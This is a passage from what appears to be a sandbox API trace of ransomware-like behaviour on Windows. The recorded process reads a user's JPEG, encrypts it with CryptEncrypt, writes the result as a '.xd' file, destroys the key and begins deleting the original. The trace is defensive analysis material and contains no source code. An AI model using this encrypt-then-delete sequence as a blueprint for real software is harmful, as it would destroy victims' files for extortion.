(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq")) returned 0x10 [0060.830] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\k41yervvkfwbjkn4v.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.833] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.833] ReadFile (in: hFile=0x2ac, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0xdcbb, lpOverlapped=0x0) returned 1 [0060.834] ReadFile (in: hFile=0x2ac, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.839] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.839] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.839] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.839] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.840] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.840] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.840] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.840] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.840] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.840] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.841] CryptGetKeyParam (in: hKey=0x164c7f0, dwParam=0x7, pbData=0x1629440, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629440*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.841] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.841] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.841] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.841] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.842] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.842] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.842] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.842] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.842] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.842] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.843] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.843] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.843] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdcbb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xdcc0) returned 1 [0060.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.844] CharLowerBuffW (in: lpsz="byte[56513]", cchLength=0xb | out: lpsz="byte[56513]") returned 0xb [0060.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.846] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.846] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.846] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.847] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.847] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1896660*, pdwDataLen=0x130e618*=0xdcbb, dwBufLen=0xdcc0 | out: pbData=0x1896660*, pdwDataLen=0x130e618*=0xdcc0) returned 1 [0060.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.848] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.848] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.848] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.848] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.848] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.848] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.854] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.854] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.854] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.855] WriteFile (in: hFile=0x3bc, lpBuffer=0x17ee7e8*, nNumberOfBytesToWrite=0xdcc0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ee7e8*, lpNumberOfBytesWritten=0x130f01c*=0xdcc0, lpOverlapped=0x0) returned 1 [0060.857] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.857] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.857] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.857] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.857] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.857] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.858] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.858] CryptDestroyKey (hKey=0x164c7f0) returned 1 [0060.858] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.858] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.858] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.858] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.859] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.859] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.859] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.859] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.859] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.859] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.859] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.859] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.859] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.859] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.859] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.859] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.860] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.860] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.860] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.860] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.860] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.860] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.860] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.860] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.860] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.860] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.860] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.860] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.861] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.861] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.861] CryptReleaseContext (hProv=0x17aa890, dwFlags=0x0) returned 1 [0060.861] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.861] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.861] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.862] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.862] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.870] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.870] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.870] CloseHandle (hObject=0x2ac) returned 1 [0060.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.873] CloseHandle (hObject=0x3bc) returned 1 [0060.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.879] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.879] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", lpFilePart=0x0) returned 0x4b [0060.879] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\k41yervvkfwbjkn4v.jpg")) returned 0x20 [0060.879] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c430 [0060.879] DeleteFileW 